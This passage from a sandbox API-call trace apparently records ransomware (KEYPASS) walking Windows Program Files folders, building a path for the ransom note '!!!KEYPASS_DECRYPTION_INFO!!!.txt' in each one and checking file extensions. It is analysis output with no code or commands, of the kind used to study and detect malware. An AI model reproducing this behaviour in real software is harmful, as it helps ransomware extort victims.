out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.206] GetLastError () returned 0x3f0 [0289.206] PathAppendW (in: pszPath="C:\\Program Files\\Windows NT\\Accessories\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows NT\\Accessories\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.206] PathFileExistsW (pszPath="C:\\Program Files\\Windows NT\\Accessories\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.208] GetFileType (hFile=0x1a00) returned 0x1 [0289.208] CloseHandle (hObject=0x1a00) returned 1 [0289.209] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\Accessories\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.209] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.209] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.209] GetLastError () returned 0x3f0 [0289.209] PathAppendW (in: pszPath="C:\\Program Files\\Windows NT\\Accessories\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows NT\\Accessories\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.209] PathFileExistsW (pszPath="C:\\Program Files\\Windows NT\\Accessories\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.209] GetFileType (hFile=0x1a04) returned 0x1 [0289.210] CloseHandle (hObject=0x1a04) returned 1 [0289.210] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\Accessories\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.210] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui") returned=".mui" [0289.210] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe") returned=".exe" [0289.210] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\Accessories\\WordpadFilter.dll") returned=".dll" [0289.210] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.210] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.210] GetLastError () returned 0x3f0 [0289.210] PathAppendW (in: pszPath="C:\\Program Files\\Windows NT\\TableTextService\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows NT\\TableTextService\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.210] PathFileExistsW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.226] GetFileType (hFile=0x19e4) returned 0x1 [0289.227] CloseHandle (hObject=0x19e4) returned 1 [0289.227] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.228] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.228] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.228] GetLastError () returned 0x3f0 [0289.228] PathAppendW (in: pszPath="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.228] PathFileExistsW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.229] GetFileType (hFile=0x1a08) returned 0x1 [0289.230] CloseHandle (hObject=0x1a08) returned 1 [0289.230] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.230] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\TableTextService.dll.mui") returned=".mui" [0289.230] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\TableTextService.dll") returned=".dll" [0289.230] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned=".txt" [0289.230] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned=".txt" [0289.230] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned=".txt" [0289.230] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt") returned=".txt" [0289.230] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned=".txt" [0289.230] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0289.230] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.230] GetLastError () returned 0x3f0 [0289.230] PathAppendW (in: pszPath="C:\\Program Files\\Windows Photo Viewer\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Photo Viewer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.230] PathFileExistsW (pszPath="C:\\Program Files\\Windows Photo Viewer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.233] GetFileType (hFile=0x1a0c) returned 0x1 [0289.234] CloseHandle (hObject=0x1a0c) returned 1 [0289.234] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.234] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.234] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.234] GetLastError () returned 0x3f0 [0289.234] PathAppendW (in: pszPath="C:\\Program Files\\Windows Photo Viewer\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Photo Viewer\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.234] PathFileExistsW (pszPath="C:\\Program Files\\Windows Photo Viewer\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.235] GetFileType (hFile=0x1a10) returned 0x1 [0289.235] CloseHandle (hObject=0x1a10) returned 1 [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned=".mui" [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned=".mui" [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned=".mui" [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe") returned=".exe" [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\ImagingEngine.dll") returned=".dll" [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\PhotoAcq.dll") returned=".dll" [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\PhotoBase.dll") returned=".dll" [0289.236] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll") returned=".dll" [0289.236] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0289.236] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.236] GetLastError () returned 0x3f0 [0289.236] PathAppendW (in: pszPath="C:\\Program Files\\Windows Portable Devices\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Portable Devices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.236] PathFileExistsW (pszPath="C:\\Program Files\\Windows Portable Devices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.251] GetFileType (hFile=0x1a14) returned 0x1 [0289.252] CloseHandle (hObject=0x1a14) returned 1 [0289.252] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Portable Devices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.252] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Portable Devices\\nigeriareached.exe") returned=".exe" [0289.252] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Portable Devices\\sqmapi.dll") returned=".dll" [0289.252] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0289.252] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.252] GetLastError () returned 0x3f0 [0289.252] PathAppendW (in: pszPath="C:\\Program Files\\Windows Sidebar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Sidebar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.252] PathFileExistsW (pszPath="C:\\Program Files\\Windows Sidebar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.253] GetFileType (hFile=0x1a18) returned 0x1 [0289.254] CloseHandle (hObject=0x1a18) returned 1 [0289.254] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Sidebar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.254] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.254] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.254] GetLastError () returned 0x3f0 [0289.254] PathAppendW (in: pszPath="C:\\Program Files\\Windows Sidebar\\Gadgets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Sidebar\\Gadgets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.254] PathFileExistsW (pszPath="C:\\Program Files\\Windows Sidebar\\Gadgets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.255] GetFileType (hFile=0x1a1c) returned 0x1 [0289.256] CloseHandle (hObject=0x1a1c) returned 1 [0289.256] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Sidebar\\Gadgets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.256] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.256] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.256] GetLastError () returned 0x3f0 [0289.256] PathAppendW (in: pszPath="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.256] PathFileExistsW (pszPath="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.257] GetFileType (hFile=0x1a20) returned 0x1 [0289.258] CloseHandle (hObject=0x1a20) returned 1 [0289.258] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.258] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0289.258] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.258] GetLastError () returned 0x3f0 [0289.258] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.258] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.259] GetLastError () returned 0x5 [0289.259] GetLastError () returned 0x5 [0289.261] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.263] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.263] GetLastError () returned 0x3f0 [0289.263] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Deleted\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Deleted\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.263] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Deleted\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.263] GetLastError () returned 0x5 [0289.263] GetLastError () returned 0x5 [0289.263] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.264] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.264] GetLastError () returned 0x3f0 [0289.264] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.264] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.264] GetLastError () returned 0x5 [0289.264] GetLastError () returned 0x5 [0289.264] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned=".xml" [0289.264] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned=".xml" [0289.264] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.264] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.264] GetLastError () returned 0x3f0 [0289.264] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.264] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.265] GetLastError () returned 0x5 [0289.265] GetLastError () returned 0x5 [0289.265] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned=".cat" [0289.265] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned=".p7x" [0289.265] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.265] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.265] GetLastError () returned 0x3f0 [0289.265] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.265] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.265] GetLastError () returned 0x5 [0289.265] GetLastError () returned 0x5 [0289.265] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\3mf.ico") returned=".ico" [0289.265] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.265] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.265] GetLastError () returned 0x3f0 [0289.265] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.265] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.278] GetLastError () returned 0x5 [0289.278] GetLastError () returned 0x5 [0289.278] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\bulldozer.3mf") returned=".3mf" [0289.278] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\Catalog.json") returned=".json" [0289.278] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\chess.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\giftbox.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\gimblekeychain.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\keychain.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\paperboat.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\pencilbox.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cone.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cube.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cylinder.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_hexagon.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_pyramid.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_sphere.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_wedge.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\spookytree.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traincarcaboose.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trainengine.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackconnector.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackleftturn.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackrightturn.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintracksplit.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\traintrackstraight.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trophybox.3mf") returned=".3mf" [0289.279] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\trophycup.3mf") returned=".3mf" [0289.279] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.279] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.279] GetLastError () returned 0x3f0 [0289.280] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.280] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.283] GetLastError () returned 0x5 [0289.283] GetLastError () returned 0x5 [0289.283] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\BuilderLogo.png") returned=".png" [0289.283] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.283] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.283] GetLastError () returned 0x3f0 [0289.283] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.283] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.298] GetLastError () returned 0x5 [0289.298] GetLastError () returned 0x5 [0289.298] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\BuilderLogo.png") returned=".png" [0289.298] PathFindExtensionW (pszPath="C:\\Program 